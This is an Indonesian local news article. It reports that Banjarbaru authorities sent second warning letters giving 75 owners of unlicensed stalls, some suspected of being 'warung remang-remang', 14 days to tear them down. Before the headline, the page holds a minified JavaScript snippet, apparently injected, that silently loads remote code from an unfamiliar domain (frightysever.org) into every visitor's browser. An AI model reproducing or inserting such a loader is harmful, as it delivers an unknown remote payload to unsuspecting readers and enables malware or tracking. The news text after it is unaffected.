(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Warung Jablai di LIK Liang Anggang Diberi Waktu 14 Hari, Pemilik Diminta Bongkar Sendiri


KANALKALIMANTAN.COM, BANJARBARU – Surat Peringatan kedua (SP 2) dilayangkan Pemerintah Kota (Pemko) Banjarbaru sebanyak 75 surat kepada pemilik warung di Jalan Trikora dan Jalan A Yani arah Pelaihari tepatnya di Simpang 3 LIK Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru.

Para pemilik warung dan diduga warung jablai alias warung remang-remang dianggap melanggar Peraturan Daerah (Perda) Kota Banjarbaru.

Kasi PPNS Opsdal Satpol PP Kota Banjarbaru, Yanto Hidayat mengatakan, 75 surat peringatan kedua itu berisikan pemberitahuan agar pemilik warung membongkar selama 14 hari kedepan bangunan mereka, dikarenakan mereka sudah melanggar Perda Nomor 6 Tahun 2022 tentang Bangunan Gedung dan Perda Nomor 6 tahun 2014 terkait Tibum (Ketertiban Umum).

“Mereka (pemilik warung) hingga saat ini tidak memiliki izin mendirikan bangunan sama sekali, ada juga indikasi warung-warung tersebut menjadi warung jablai,” ungkap Yanto, Kamis (17/11/2022) petang.

 

Kasi PPNS Opsdal Satpol PP Banjarbaru, Yanto Hidayat. Foto: Ibnu

Baca juga : Pemko Banjarbaru Layangkan SP 2 kepada 75 Pemilik Bangunan Tanpa Izin di Simpang 3 LIK

Dilanjutkan Yanto, lahan yang dijadikan bangunan itu merupakan kepemilikan dari LIK, bukan milik pribadi maupun Pemko Banjarbaru, namun mereka menyalahi izin bangunan.

“Dulu LIK itu Lingkungan Industri Kecil, yang saya ketahui dulu ada industri di sana, seperti pembuatan logam atau semacamnya, namun sampai saat ini kami belum mengetahui siapa yang bisa menjelaskan secara persis terkait LIK ini,” jelasnya.

Sehingga kebanyakan bangunan yang didirikan di wilayah tersebut merupakan tanah dan bangunan yang disewakan.

Ketika melayangkan SP 2 kepada pemilik warung, diutarakan Yanto sempat ada seseorang yang mencoba melakukan protes, namun setelah dilakukan pengecekan orang tersebut diduga mempunyai gangguan kejiwaan.

Baca juga  : DPRD Kapuas Bersama TAPD Maraton Membahas Rancangan KUA-PPAS APBD 2023

“Setelah ditanya ke personel Polres dan warga sekitar, itu orang diduga ada kelainan, memang memancing dari segi bicaranya, tetap kita pantau, pada dasarnya mereka tidak menghalangi kami,” jelasnya.

Sempat disinggung isu ada penarikan biaya keamanan di lingkungan tersebut, menanggapi hal tersebut Yanto menegaskan, tidak pernah ada sama sekali pihak yang melakuan penarikan uang keamanan seputar wilayah LIK.

“Kami tidak pernah meminta atau memerintahkan mengambil uang keamanan berkaitan seputar LIK sampai sekarang,” tegasnya.

Baca juga  : Antisipasi Krisis Pangan Lokal, Komisi II DPRD Kapuas Dorong Pemkab Siapkan Stok Beras

Sekadar diketahui Pemko Banjarbaru sudah melayangkan SP 1 yang dilayangkan 14 hari lalu pada Kamis (3/11/2022) lalu, kepada pemilik warung di sekitar Jalan Trikora dan Jalan A Yani Arah Pelaihari di Landasan Ulin Selatan Kota Banjarbaru.

Jika dalam rentan waktu 14 hari ke depan setelah SP 2 dilayangkan, Pemko Banjarbaru akan melayangkan SP 3 kepada pemilik warung.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

4 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

21 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

21 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

22 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

23 jam ago

This website uses cookies.